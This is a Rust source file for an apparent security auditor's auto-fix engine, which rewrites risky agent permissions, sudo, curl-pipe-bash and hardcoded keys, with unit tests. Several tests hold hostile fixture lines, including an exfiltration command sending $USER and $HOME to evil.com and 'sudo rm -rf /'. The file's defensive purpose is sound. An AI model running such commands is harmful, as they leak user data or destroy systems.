Skip to main content

cc_audit/
fix.rs

1use crate::error::{AuditError, Result};
2use crate::rules::Finding;
3use std::collections::HashMap;
4use std::fs;
5use std::path::Path;
6
7/// Represents a potential fix for a finding
8#[derive(Debug, Clone)]
9pub struct Fix {
10    pub finding_id: String,
11    pub file_path: String,
12    pub line: usize,
13    pub description: String,
14    pub original: String,
15    pub replacement: String,
16}
17
18/// Result of applying fixes
19#[derive(Debug)]
20pub struct FixResult {
21    pub applied: Vec<Fix>,
22    pub skipped: Vec<(Fix, String)>, // Fix and reason for skipping
23    pub errors: Vec<(Fix, String)>,  // Fix and error message
24}
25
26/// Auto-fix engine for security findings
27pub struct AutoFixer {
28    dry_run: bool,
29}
30
31impl AutoFixer {
32    pub fn new(dry_run: bool) -> Self {
33        Self { dry_run }
34    }
35
36    /// Generate fixes for the given findings
37    pub fn generate_fixes(&self, findings: &[Finding]) -> Vec<Fix> {
38        let mut fixes = Vec::new();
39
40        for finding in findings {
41            if let Some(fix) = self.generate_fix(finding) {
42                fixes.push(fix);
43            }
44        }
45
46        fixes
47    }
48
49    /// Generate a fix for a single finding
50    fn generate_fix(&self, finding: &Finding) -> Option<Fix> {
51        match finding.id.as_str() {
52            // OP-001: Wildcard tool permission -> Restrict to specific tools
53            "OP-001" => self.fix_wildcard_permission(finding),
54
55            // PE-001: sudo usage -> Remove sudo
56            "PE-001" => self.fix_sudo_usage(finding),
57
58            // SC-001: Curl pipe bash -> Download and verify
59            "SC-001" => self.fix_curl_pipe_bash(finding),
60
61            // EX-001: Environment variable exfiltration -> Mask sensitive vars
62            "EX-001" => self.fix_env_exfiltration(finding),
63
64            // PI-001: Command injection via backticks -> Use safer alternative
65            "PI-001" => self.fix_backtick_injection(finding),
66
67            // DP-001: Hardcoded API key -> Use environment variable
68            "DP-001" | "DP-002" | "DP-003" | "DP-004" | "DP-005" | "DP-006" => {
69                self.fix_hardcoded_secret(finding)
70            }
71
72            // OP-009: Bash wildcard permission -> Restrict to specific commands
73            "OP-009" => self.fix_bash_wildcard(finding),
74
75            _ => None,
76        }
77    }
78
79    fn fix_wildcard_permission(&self, finding: &Finding) -> Option<Fix> {
80        // Replace allowed-tools: * with a safe default
81        if finding.code.contains("allowed-tools: *")
82            || finding.code.contains("allowed-tools: \"*\"")
83        {
84            let replacement = finding
85                .code
86                .replace("allowed-tools: *", "allowed-tools: Read, Grep, Glob")
87                .replace("allowed-tools: \"*\"", "allowed-tools: Read, Grep, Glob");
88
89            return Some(Fix {
90                finding_id: finding.id.clone(),
91                file_path: finding.location.file.clone(),
92                line: finding.location.line,
93                description: "Replace wildcard permission with safe defaults".to_string(),
94                original: finding.code.clone(),
95                replacement,
96            });
97        }
98
99        // Handle allowedTools in JSON
100        if finding.code.contains("\"allowedTools\"")
101            && (finding.code.contains("\"*\"") || finding.code.contains(": \"*\""))
102        {
103            let replacement = finding
104                .code
105                .replace("\"*\"", "\"Read, Grep, Glob\"")
106                .replace(": \"*\"", ": \"Read, Grep, Glob\"");
107
108            return Some(Fix {
109                finding_id: finding.id.clone(),
110                file_path: finding.location.file.clone(),
111                line: finding.location.line,
112                description: "Replace wildcard permission with safe defaults".to_string(),
113                original: finding.code.clone(),
114                replacement,
115            });
116        }
117
118        None
119    }
120
121    fn fix_sudo_usage(&self, finding: &Finding) -> Option<Fix> {
122        // Remove sudo from the command
123        if finding.code.contains("sudo ") {
124            let replacement = finding.code.replace("sudo ", "");
125
126            return Some(Fix {
127                finding_id: finding.id.clone(),
128                file_path: finding.location.file.clone(),
129                line: finding.location.line,
130                description: "Remove sudo privilege escalation".to_string(),
131                original: finding.code.clone(),
132                replacement,
133            });
134        }
135
136        None
137    }
138
139    fn fix_curl_pipe_bash(&self, finding: &Finding) -> Option<Fix> {
140        // Convert curl | bash to safer download-then-verify pattern
141        if finding.code.contains("| bash") || finding.code.contains("| sh") {
142            // Extract URL from curl command
143            let code = &finding.code;
144            let url_start = code.find("http");
145            if let Some(start) = url_start {
146                let url_end = code[start..]
147                    .find(|c: char| c.is_whitespace() || c == '"' || c == '\'')
148                    .map(|i| start + i)
149                    .unwrap_or(code.len());
150                let url = &code[start..url_end];
151
152                let replacement = format!(
153                    "# Download script first, verify before running\ncurl -o /tmp/install.sh {}\n# Review: cat /tmp/install.sh\n# Then run: sh /tmp/install.sh",
154                    url
155                );
156
157                return Some(Fix {
158                    finding_id: finding.id.clone(),
159                    file_path: finding.location.file.clone(),
160                    line: finding.location.line,
161                    description: "Replace curl|bash with download-then-verify pattern".to_string(),
162                    original: finding.code.clone(),
163                    replacement,
164                });
165            }
166        }
167
168        None
169    }
170
171    fn fix_env_exfiltration(&self, finding: &Finding) -> Option<Fix> {
172        // Mask sensitive environment variables
173        if finding.code.contains("$HOME")
174            || finding.code.contains("$USER")
175            || finding.code.contains("$PATH")
176        {
177            let replacement = finding
178                .code
179                .replace("$HOME", "[REDACTED]")
180                .replace("$USER", "[REDACTED]")
181                .replace("$PATH", "[REDACTED]");
182
183            return Some(Fix {
184                finding_id: finding.id.clone(),
185                file_path: finding.location.file.clone(),
186                line: finding.location.line,
187                description: "Mask sensitive environment variables".to_string(),
188                original: finding.code.clone(),
189                replacement,
190            });
191        }
192
193        None
194    }
195
196    fn fix_backtick_injection(&self, finding: &Finding) -> Option<Fix> {
197        // Replace backticks with safer $() syntax
198        if finding.code.contains('`') {
199            // Count backticks to ensure pairs
200            let backtick_count = finding.code.matches('`').count();
201            if backtick_count >= 2 && backtick_count.is_multiple_of(2) {
202                let mut in_backtick = false;
203                let mut result = String::new();
204
205                for c in finding.code.chars() {
206                    if c == '`' {
207                        if in_backtick {
208                            result.push(')');
209                        } else {
210                            result.push_str("$(");
211                        }
212                        in_backtick = !in_backtick;
213                    } else {
214                        result.push(c);
215                    }
216                }
217
218                return Some(Fix {
219                    finding_id: finding.id.clone(),
220                    file_path: finding.location.file.clone(),
221                    line: finding.location.line,
222                    description: "Replace backticks with safer $() syntax".to_string(),
223                    original: finding.code.clone(),
224                    replacement: result,
225                });
226            }
227        }
228
229        None
230    }
231
232    fn fix_hardcoded_secret(&self, finding: &Finding) -> Option<Fix> {
233        // Replace hardcoded secrets with environment variable references
234        // This is a simple heuristic - in practice, more sophisticated detection is needed
235
236        // Pattern: key = "value" or key: "value"
237        let code = &finding.code;
238
239        // Detect API key patterns
240        if code.contains("api_key") || code.contains("apiKey") || code.contains("API_KEY") {
241            // Simplified replacement - just add a comment to remind user to fix
242            return Some(Fix {
243                finding_id: finding.id.clone(),
244                file_path: finding.location.file.clone(),
245                line: finding.location.line,
246                description: "Replace hardcoded secret with environment variable".to_string(),
247                original: finding.code.clone(),
248                replacement: format!(
249                    "# TODO: Move secret to environment variable\n# {}",
250                    finding.code
251                ),
252            });
253        }
254
255        None
256    }
257
258    fn fix_bash_wildcard(&self, finding: &Finding) -> Option<Fix> {
259        // Replace Bash(*) with specific allowed commands
260        if finding.code.contains("Bash(*)") || finding.code.contains("Bash( * )") {
261            let replacement = finding
262                .code
263                .replace("Bash(*)", "Bash(ls:*, cat:*, echo:*)")
264                .replace("Bash( * )", "Bash(ls:*, cat:*, echo:*)");
265
266            return Some(Fix {
267                finding_id: finding.id.clone(),
268                file_path: finding.location.file.clone(),
269                line: finding.location.line,
270                description: "Replace Bash wildcard with specific allowed commands".to_string(),
271                original: finding.code.clone(),
272                replacement,
273            });
274        }
275
276        None
277    }
278
279    /// Apply fixes to files
280    pub fn apply_fixes(&self, fixes: &[Fix]) -> FixResult {
281        let mut result = FixResult {
282            applied: Vec::new(),
283            skipped: Vec::new(),
284            errors: Vec::new(),
285        };
286
287        // Group fixes by file
288        let mut fixes_by_file: HashMap<String, Vec<&Fix>> = HashMap::new();
289        for fix in fixes {
290            fixes_by_file
291                .entry(fix.file_path.clone())
292                .or_default()
293                .push(fix);
294        }
295
296        for (file_path, file_fixes) in fixes_by_file {
297            match self.apply_fixes_to_file(&file_path, &file_fixes) {
298                Ok(applied) => {
299                    for fix in applied {
300                        result.applied.push(fix.clone());
301                    }
302                }
303                Err(e) => {
304                    for fix in file_fixes {
305                        result.errors.push((fix.clone(), e.to_string()));
306                    }
307                }
308            }
309        }
310
311        result
312    }
313
314    fn apply_fixes_to_file(&self, file_path: &str, fixes: &[&Fix]) -> Result<Vec<Fix>> {
315        let path = Path::new(file_path);
316
317        // Read the file
318        let content = fs::read_to_string(path).map_err(|e| AuditError::ReadError {
319            path: file_path.to_string(),
320            source: e,
321        })?;
322
323        let lines: Vec<&str> = content.lines().collect();
324        let mut new_lines: Vec<String> = lines.iter().map(|s| s.to_string()).collect();
325        let mut applied = Vec::new();
326
327        // Sort fixes by line number in reverse order to avoid index shifting
328        let mut sorted_fixes: Vec<&&Fix> = fixes.iter().collect();
329        sorted_fixes.sort_by(|a, b| b.line.cmp(&a.line));
330
331        for fix in sorted_fixes {
332            if fix.line > 0 && fix.line <= new_lines.len() {
333                let line_idx = fix.line - 1;
334                let current_line = &new_lines[line_idx];
335
336                // Check if the line still matches
337                if current_line.contains(&fix.original)
338                    || current_line.trim() == fix.original.trim()
339                {
340                    if !self.dry_run {
341                        // Apply the fix
342                        new_lines[line_idx] = current_line.replace(&fix.original, &fix.replacement);
343                    }
344                    applied.push((*fix).clone());
345                }
346            }
347        }
348
349        // Write back to file if not dry run
350        if !self.dry_run && !applied.is_empty() {
351            let new_content = new_lines.join("\n");
352            fs::write(path, new_content).map_err(|e| AuditError::ReadError {
353                path: file_path.to_string(),
354                source: e,
355            })?;
356        }
357
358        Ok(applied)
359    }
360}
361
362impl Fix {
363    /// Format fix for terminal display
364    pub fn format_terminal(&self, dry_run: bool) -> String {
365        use colored::Colorize;
366
367        let mut output = String::new();
368
369        let prefix = if dry_run { "[DRY RUN] " } else { "" };
370
371        output.push_str(&format!(
372            "{}{} {} at {}:{}\n",
373            prefix.yellow(),
374            "Fix:".cyan().bold(),
375            self.description,
376            self.file_path,
377            self.line
378        ));
379
380        output.push_str(&format!("  {} {}\n", "-".red(), self.original.trim()));
381        output.push_str(&format!("  {} {}\n", "+".green(), self.replacement.trim()));
382
383        output
384    }
385}
386
387impl FixResult {
388    /// Format result for terminal display
389    pub fn format_terminal(&self, dry_run: bool) -> String {
390        use colored::Colorize;
391
392        let mut output = String::new();
393
394        if self.applied.is_empty() && self.skipped.is_empty() && self.errors.is_empty() {
395            output.push_str(&"No fixable issues found.\n".yellow().to_string());
396            return output;
397        }
398
399        let prefix = if dry_run { "[DRY RUN] " } else { "" };
400
401        if !self.applied.is_empty() {
402            output.push_str(&format!(
403                "\n{}{}\n",
404                prefix.yellow(),
405                if dry_run {
406                    "Would apply fixes:".cyan().bold()
407                } else {
408                    "Applied fixes:".green().bold()
409                }
410            ));
411
412            for fix in &self.applied {
413                output.push_str(&fix.format_terminal(dry_run));
414                output.push('\n');
415            }
416        }
417
418        if !self.skipped.is_empty() {
419            output.push_str(&format!("\n{}\n", "Skipped:".yellow().bold()));
420            for (fix, reason) in &self.skipped {
421                output.push_str(&format!(
422                    "  {} {} - {}\n",
423                    "~".yellow(),
424                    fix.description,
425                    reason
426                ));
427            }
428        }
429
430        if !self.errors.is_empty() {
431            output.push_str(&format!("\n{}\n", "Errors:".red().bold()));
432            for (fix, error) in &self.errors {
433                output.push_str(&format!(
434                    "  {} {} - {}\n",
435                    "!".red(),
436                    fix.description,
437                    error
438                ));
439            }
440        }
441
442        output.push_str(&format!(
443            "\n{}: {} applied, {} skipped, {} errors\n",
444            if dry_run { "Summary" } else { "Result" },
445            self.applied.len(),
446            self.skipped.len(),
447            self.errors.len()
448        ));
449
450        output
451    }
452}
453
454#[cfg(test)]
455mod tests {
456    use super::*;
457    use crate::rules::{Category, Confidence, Location, Severity};
458    use tempfile::TempDir;
459
460    fn create_test_finding(id: &str, code: &str, file: &str, line: usize) -> Finding {
461        Finding {
462            id: id.to_string(),
463            severity: Severity::High,
464            category: Category::Overpermission,
465            confidence: Confidence::Firm,
466            name: "Test Finding".to_string(),
467            location: Location {
468                file: file.to_string(),
469                line,
470                column: None,
471            },
472            code: code.to_string(),
473            message: "Test message".to_string(),
474            recommendation: "Test recommendation".to_string(),
475            fix_hint: None,
476            cwe_ids: vec![],
477        }
478    }
479
480    #[test]
481    fn test_fix_wildcard_permission() {
482        let fixer = AutoFixer::new(true);
483        let finding = create_test_finding("OP-001", "allowed-tools: *", "SKILL.md", 5);
484
485        let fix = fixer.generate_fix(&finding);
486        assert!(fix.is_some());
487
488        let fix = fix.unwrap();
489        assert!(fix.replacement.contains("Read, Grep, Glob"));
490    }
491
492    #[test]
493    fn test_fix_sudo_usage() {
494        let fixer = AutoFixer::new(true);
495        let finding = create_test_finding("PE-001", "sudo apt install", "script.sh", 10);
496
497        let fix = fixer.generate_fix(&finding);
498        assert!(fix.is_some());
499
500        let fix = fix.unwrap();
501        assert!(!fix.replacement.contains("sudo"));
502        assert!(fix.replacement.contains("apt install"));
503    }
504
505    #[test]
506    fn test_fix_bash_wildcard() {
507        let fixer = AutoFixer::new(true);
508        let finding = create_test_finding("OP-009", "Bash(*)", "settings.json", 15);
509
510        let fix = fixer.generate_fix(&finding);
511        assert!(fix.is_some());
512
513        let fix = fix.unwrap();
514        assert!(fix.replacement.contains("ls:*"));
515    }
516
517    #[test]
518    fn test_apply_fixes_dry_run() {
519        let temp_dir = TempDir::new().unwrap();
520        let test_file = temp_dir.path().join("test.md");
521        fs::write(&test_file, "---\nallowed-tools: *\n---\n").unwrap();
522
523        let fixer = AutoFixer::new(true); // dry run
524        let finding = create_test_finding(
525            "OP-001",
526            "allowed-tools: *",
527            &test_file.display().to_string(),
528            2,
529        );
530
531        let fixes = fixer.generate_fixes(&[finding]);
532        let result = fixer.apply_fixes(&fixes);
533
534        assert_eq!(result.applied.len(), 1);
535
536        // File should not be modified in dry run
537        let content = fs::read_to_string(&test_file).unwrap();
538        assert!(content.contains("allowed-tools: *"));
539    }
540
541    #[test]
542    fn test_apply_fixes_real() {
543        let temp_dir = TempDir::new().unwrap();
544        let test_file = temp_dir.path().join("test.md");
545        fs::write(&test_file, "---\nallowed-tools: *\n---\n").unwrap();
546
547        let fixer = AutoFixer::new(false); // real run
548        let finding = create_test_finding(
549            "OP-001",
550            "allowed-tools: *",
551            &test_file.display().to_string(),
552            2,
553        );
554
555        let fixes = fixer.generate_fixes(&[finding]);
556        let result = fixer.apply_fixes(&fixes);
557
558        assert_eq!(result.applied.len(), 1);
559
560        // File should be modified
561        let content = fs::read_to_string(&test_file).unwrap();
562        assert!(content.contains("Read, Grep, Glob"));
563        assert!(!content.contains("allowed-tools: *"));
564    }
565
566    #[test]
567    fn test_no_fix_available() {
568        let fixer = AutoFixer::new(true);
569        let finding = create_test_finding("UNKNOWN-001", "some code", "file.md", 1);
570
571        let fix = fixer.generate_fix(&finding);
572        assert!(fix.is_none());
573    }
574
575    #[test]
576    fn test_fix_format_terminal() {
577        let fix = Fix {
578            finding_id: "OP-001".to_string(),
579            file_path: "SKILL.md".to_string(),
580            line: 5,
581            description: "Test fix".to_string(),
582            original: "old code".to_string(),
583            replacement: "new code".to_string(),
584        };
585
586        let output = fix.format_terminal(false);
587        assert!(output.contains("Fix:"));
588        assert!(output.contains("Test fix"));
589        assert!(output.contains("old code"));
590        assert!(output.contains("new code"));
591    }
592
593    #[test]
594    fn test_fix_result_format_terminal() {
595        let fix = Fix {
596            finding_id: "OP-001".to_string(),
597            file_path: "SKILL.md".to_string(),
598            line: 5,
599            description: "Test fix".to_string(),
600            original: "old code".to_string(),
601            replacement: "new code".to_string(),
602        };
603
604        let result = FixResult {
605            applied: vec![fix],
606            skipped: vec![],
607            errors: vec![],
608        };
609
610        let output = result.format_terminal(true);
611        assert!(output.contains("DRY RUN"));
612        assert!(output.contains("1 applied"));
613    }
614
615    #[test]
616    fn test_fix_curl_pipe_bash() {
617        let fixer = AutoFixer::new(true);
618        let finding = create_test_finding(
619            "SC-001",
620            "curl http://example.com/install.sh | bash",
621            "run.sh",
622            1,
623        );
624
625        let fix = fixer.generate_fix(&finding);
626        assert!(fix.is_some());
627
628        let fix = fix.unwrap();
629        assert!(fix.replacement.contains("Download script first"));
630        assert!(fix.replacement.contains("/tmp/install.sh"));
631    }
632
633    #[test]
634    fn test_fix_curl_pipe_sh() {
635        let fixer = AutoFixer::new(true);
636        let finding =
637            create_test_finding("SC-001", "curl https://get.sdkman.io | sh", "install.sh", 1);
638
639        let fix = fixer.generate_fix(&finding);
640        assert!(fix.is_some());
641
642        let fix = fix.unwrap();
643        assert!(fix.replacement.contains("Download script first"));
644    }
645
646    #[test]
647    fn test_fix_env_exfiltration() {
648        let fixer = AutoFixer::new(true);
649        let finding = create_test_finding(
650            "EX-001",
651            "curl http://evil.com?user=$USER&home=$HOME",
652            "exfil.sh",
653            1,
654        );
655
656        let fix = fixer.generate_fix(&finding);
657        assert!(fix.is_some());
658
659        let fix = fix.unwrap();
660        assert!(fix.replacement.contains("[REDACTED]"));
661        assert!(!fix.replacement.contains("$USER"));
662        assert!(!fix.replacement.contains("$HOME"));
663    }
664
665    #[test]
666    fn test_fix_env_exfiltration_path() {
667        let fixer = AutoFixer::new(true);
668        let finding = create_test_finding("EX-001", "echo $PATH", "leak.sh", 1);
669
670        let fix = fixer.generate_fix(&finding);
671        assert!(fix.is_some());
672
673        let fix = fix.unwrap();
674        assert!(fix.replacement.contains("[REDACTED]"));
675    }
676
677    #[test]
678    fn test_fix_backtick_injection() {
679        let fixer = AutoFixer::new(true);
680        let finding = create_test_finding("PI-001", "result=`cmd arg`", "script.sh", 1);
681
682        let fix = fixer.generate_fix(&finding);
683        assert!(fix.is_some());
684
685        let fix = fix.unwrap();
686        assert!(fix.replacement.contains("$(cmd arg)"));
687        assert!(!fix.replacement.contains('`'));
688    }
689
690    #[test]
691    fn test_fix_backtick_injection_multiple() {
692        let fixer = AutoFixer::new(true);
693        let finding = create_test_finding("PI-001", "echo `foo` and `bar`", "script.sh", 1);
694
695        let fix = fixer.generate_fix(&finding);
696        assert!(fix.is_some());
697
698        let fix = fix.unwrap();
699        assert!(fix.replacement.contains("$(foo)"));
700        assert!(fix.replacement.contains("$(bar)"));
701    }
702
703    #[test]
704    fn test_fix_backtick_injection_odd_count() {
705        let fixer = AutoFixer::new(true);
706        let finding = create_test_finding("PI-001", "echo ` only one backtick", "script.sh", 1);
707
708        let fix = fixer.generate_fix(&finding);
709        assert!(fix.is_none());
710    }
711
712    #[test]
713    fn test_fix_hardcoded_secret() {
714        let fixer = AutoFixer::new(true);
715        let finding = create_test_finding("DP-001", "api_key = \"sk-1234567890\"", "config.py", 1);
716
717        let fix = fixer.generate_fix(&finding);
718        assert!(fix.is_some());
719
720        let fix = fix.unwrap();
721        assert!(fix.replacement.contains("TODO"));
722        assert!(fix.replacement.contains("environment variable"));
723    }
724
725    #[test]
726    fn test_fix_hardcoded_secret_api_key_variant() {
727        let fixer = AutoFixer::new(true);
728        let finding = create_test_finding("DP-002", "apiKey: 'secret123'", "config.yaml", 1);
729
730        let fix = fixer.generate_fix(&finding);
731        assert!(fix.is_some());
732    }
733
734    #[test]
735    fn test_fix_hardcoded_secret_api_key_upper() {
736        let fixer = AutoFixer::new(true);
737        let finding = create_test_finding("DP-003", "const API_KEY = 'test'", "constants.js", 1);
738
739        let fix = fixer.generate_fix(&finding);
740        assert!(fix.is_some());
741    }
742
743    #[test]
744    fn test_fix_wildcard_permission_json() {
745        let fixer = AutoFixer::new(true);
746        let finding = create_test_finding("OP-001", "\"allowedTools\": \"*\"", "settings.json", 5);
747
748        let fix = fixer.generate_fix(&finding);
749        assert!(fix.is_some());
750
751        let fix = fix.unwrap();
752        assert!(fix.replacement.contains("Read, Grep, Glob"));
753    }
754
755    #[test]
756    fn test_fix_wildcard_permission_quoted() {
757        let fixer = AutoFixer::new(true);
758        let finding = create_test_finding("OP-001", "allowed-tools: \"*\"", "SKILL.md", 5);
759
760        let fix = fixer.generate_fix(&finding);
761        assert!(fix.is_some());
762
763        let fix = fix.unwrap();
764        assert!(fix.replacement.contains("Read, Grep, Glob"));
765    }
766
767    #[test]
768    fn test_fix_bash_wildcard_with_spaces() {
769        let fixer = AutoFixer::new(true);
770        let finding = create_test_finding("OP-009", "Bash( * )", "settings.json", 15);
771
772        let fix = fixer.generate_fix(&finding);
773        assert!(fix.is_some());
774
775        let fix = fix.unwrap();
776        assert!(fix.replacement.contains("ls:*"));
777    }
778
779    #[test]
780    fn test_generate_fixes_multiple() {
781        let fixer = AutoFixer::new(true);
782        let findings = vec![
783            create_test_finding("OP-001", "allowed-tools: *", "SKILL.md", 5),
784            create_test_finding("PE-001", "sudo rm -rf /", "script.sh", 10),
785            create_test_finding("OP-009", "Bash(*)", "settings.json", 15),
786        ];
787
788        let fixes = fixer.generate_fixes(&findings);
789        assert_eq!(fixes.len(), 3);
790    }
791
792    #[test]
793    fn test_fix_result_format_terminal_no_fixes() {
794        let result = FixResult {
795            applied: vec![],
796            skipped: vec![],
797            errors: vec![],
798        };
799
800        let output = result.format_terminal(false);
801        assert!(output.contains("No fixable issues found"));
802    }
803
804    #[test]
805    fn test_fix_result_format_terminal_with_skipped() {
806        let fix = Fix {
807            finding_id: "OP-001".to_string(),
808            file_path: "SKILL.md".to_string(),
809            line: 5,
810            description: "Test fix".to_string(),
811            original: "old code".to_string(),
812            replacement: "new code".to_string(),
813        };
814
815        let result = FixResult {
816            applied: vec![],
817            skipped: vec![(fix, "Code changed".to_string())],
818            errors: vec![],
819        };
820
821        let output = result.format_terminal(false);
822        assert!(output.contains("Skipped:"));
823        assert!(output.contains("Code changed"));
824    }
825
826    #[test]
827    fn test_fix_result_format_terminal_with_errors() {
828        let fix = Fix {
829            finding_id: "OP-001".to_string(),
830            file_path: "SKILL.md".to_string(),
831            line: 5,
832            description: "Test fix".to_string(),
833            original: "old code".to_string(),
834            replacement: "new code".to_string(),
835        };
836
837        let result = FixResult {
838            applied: vec![],
839            skipped: vec![],
840            errors: vec![(fix, "File not found".to_string())],
841        };
842
843        let output = result.format_terminal(false);
844        assert!(output.contains("Errors:"));
845        assert!(output.contains("File not found"));
846    }
847
848    #[test]
849    fn test_fix_format_terminal_dry_run() {
850        let fix = Fix {
851            finding_id: "OP-001".to_string(),
852            file_path: "SKILL.md".to_string(),
853            line: 5,
854            description: "Test fix".to_string(),
855            original: "old code".to_string(),
856            replacement: "new code".to_string(),
857        };
858
859        let output = fix.format_terminal(true);
860        assert!(output.contains("DRY RUN"));
861    }
862
863    #[test]
864    fn test_fix_result_format_terminal_applied_not_dry_run() {
865        let fix = Fix {
866            finding_id: "OP-001".to_string(),
867            file_path: "SKILL.md".to_string(),
868            line: 5,
869            description: "Test fix".to_string(),
870            original: "old code".to_string(),
871            replacement: "new code".to_string(),
872        };
873
874        let result = FixResult {
875            applied: vec![fix],
876            skipped: vec![],
877            errors: vec![],
878        };
879
880        let output = result.format_terminal(false);
881        assert!(output.contains("Applied fixes:"));
882        assert!(!output.contains("DRY RUN"));
883    }
884
885    #[test]
886    fn test_apply_fixes_to_nonexistent_file() {
887        let fixer = AutoFixer::new(false);
888        let finding =
889            create_test_finding("OP-001", "allowed-tools: *", "/nonexistent/path/file.md", 2);
890
891        let fixes = fixer.generate_fixes(&[finding]);
892        let result = fixer.apply_fixes(&fixes);
893
894        assert!(result.applied.is_empty());
895        assert!(!result.errors.is_empty());
896    }
897
898    #[test]
899    fn test_apply_fixes_line_mismatch() {
900        let temp_dir = TempDir::new().unwrap();
901        let test_file = temp_dir.path().join("test.md");
902        fs::write(&test_file, "---\nsomething-else: value\n---\n").unwrap();
903
904        let fixer = AutoFixer::new(false);
905        let finding = create_test_finding(
906            "OP-001",
907            "allowed-tools: *",
908            &test_file.display().to_string(),
909            2,
910        );
911
912        let fixes = fixer.generate_fixes(&[finding]);
913        let result = fixer.apply_fixes(&fixes);
914
915        assert!(result.applied.is_empty());
916    }
917
918    #[test]
919    fn test_fix_debug_trait() {
920        let fix = Fix {
921            finding_id: "OP-001".to_string(),
922            file_path: "SKILL.md".to_string(),
923            line: 5,
924            description: "Test fix".to_string(),
925            original: "old".to_string(),
926            replacement: "new".to_string(),
927        };
928
929        let debug_str = format!("{:?}", fix);
930        assert!(debug_str.contains("Fix"));
931        assert!(debug_str.contains("OP-001"));
932    }
933
934    #[test]
935    fn test_fix_clone_trait() {
936        let fix = Fix {
937            finding_id: "OP-001".to_string(),
938            file_path: "SKILL.md".to_string(),
939            line: 5,
940            description: "Test fix".to_string(),
941            original: "old".to_string(),
942            replacement: "new".to_string(),
943        };
944
945        let cloned = fix.clone();
946        assert_eq!(fix.finding_id, cloned.finding_id);
947        assert_eq!(fix.file_path, cloned.file_path);
948    }
949
950    #[test]
951    fn test_fix_result_debug_trait() {
952        let result = FixResult {
953            applied: vec![],
954            skipped: vec![],
955            errors: vec![],
956        };
957
958        let debug_str = format!("{:?}", result);
959        assert!(debug_str.contains("FixResult"));
960    }
961
962    #[test]
963    fn test_fix_no_match_env_exfiltration() {
964        let fixer = AutoFixer::new(true);
965        let finding = create_test_finding("EX-001", "echo hello world", "script.sh", 1);
966
967        let fix = fixer.generate_fix(&finding);
968        assert!(fix.is_none());
969    }
970
971    #[test]
972    fn test_fix_no_match_sudo() {
973        let fixer = AutoFixer::new(true);
974        let finding = create_test_finding("PE-001", "apt install vim", "script.sh", 1);
975
976        let fix = fixer.generate_fix(&finding);
977        assert!(fix.is_none());
978    }
979
980    #[test]
981    fn test_fix_no_match_curl_pipe() {
982        let fixer = AutoFixer::new(true);
983        let finding = create_test_finding("SC-001", "curl http://example.com", "script.sh", 1);
984
985        let fix = fixer.generate_fix(&finding);
986        assert!(fix.is_none());
987    }
988
989    #[test]
990    fn test_fix_no_match_wildcard() {
991        let fixer = AutoFixer::new(true);
992        let finding = create_test_finding("OP-001", "allowed-tools: Read, Write", "SKILL.md", 1);
993
994        let fix = fixer.generate_fix(&finding);
995        assert!(fix.is_none());
996    }
997
998    #[test]
999    fn test_fix_no_match_bash_wildcard() {
1000        let fixer = AutoFixer::new(true);
1001        let finding = create_test_finding("OP-009", "Bash(ls:*, cat:*)", "settings.json", 1);
1002
1003        let fix = fixer.generate_fix(&finding);
1004        assert!(fix.is_none());
1005    }
1006
1007    #[test]
1008    fn test_fix_no_match_hardcoded_secret() {
1009        let fixer = AutoFixer::new(true);
1010        let finding = create_test_finding("DP-001", "password = 'secret'", "config.py", 1);
1011
1012        let fix = fixer.generate_fix(&finding);
1013        assert!(fix.is_none());
1014    }
1015
1016    #[test]
1017    fn test_apply_fixes_out_of_bounds_line() {
1018        let temp_dir = TempDir::new().unwrap();
1019        let test_file = temp_dir.path().join("test.md");
1020        fs::write(&test_file, "line1\nline2\n").unwrap();
1021
1022        let fixer = AutoFixer::new(false);
1023
1024        let fix = Fix {
1025            finding_id: "OP-001".to_string(),
1026            file_path: test_file.display().to_string(),
1027            line: 100,
1028            description: "Test fix".to_string(),
1029            original: "something".to_string(),
1030            replacement: "other".to_string(),
1031        };
1032
1033        let result = fixer.apply_fixes(&[fix]);
1034        assert!(result.applied.is_empty());
1035    }
1036
1037    #[test]
1038    fn test_apply_fixes_line_zero() {
1039        let temp_dir = TempDir::new().unwrap();
1040        let test_file = temp_dir.path().join("test.md");
1041        fs::write(&test_file, "line1\nline2\n").unwrap();
1042
1043        let fixer = AutoFixer::new(false);
1044
1045        let fix = Fix {
1046            finding_id: "OP-001".to_string(),
1047            file_path: test_file.display().to_string(),
1048            line: 0,
1049            description: "Test fix".to_string(),
1050            original: "something".to_string(),
1051            replacement: "other".to_string(),
1052        };
1053
1054        let result = fixer.apply_fixes(&[fix]);
1055        assert!(result.applied.is_empty());
1056    }
1057
1058    #[test]
1059    fn test_fix_dp_004_hardcoded_secret() {
1060        let fixer = AutoFixer::new(true);
1061        let finding = create_test_finding("DP-004", "api_key = 'test'", "config.py", 1);
1062
1063        let fix = fixer.generate_fix(&finding);
1064        assert!(fix.is_some());
1065    }
1066
1067    #[test]
1068    fn test_fix_dp_005_hardcoded_secret() {
1069        let fixer = AutoFixer::new(true);
1070        let finding = create_test_finding("DP-005", "apiKey = 'test'", "config.js", 1);
1071
1072        let fix = fixer.generate_fix(&finding);
1073        assert!(fix.is_some());
1074    }
1075
1076    #[test]
1077    fn test_fix_dp_006_hardcoded_secret() {
1078        let fixer = AutoFixer::new(true);
1079        let finding = create_test_finding("DP-006", "API_KEY = 'test'", "config.rb", 1);
1080
1081        let fix = fixer.generate_fix(&finding);
1082        assert!(fix.is_some());
1083    }
1084}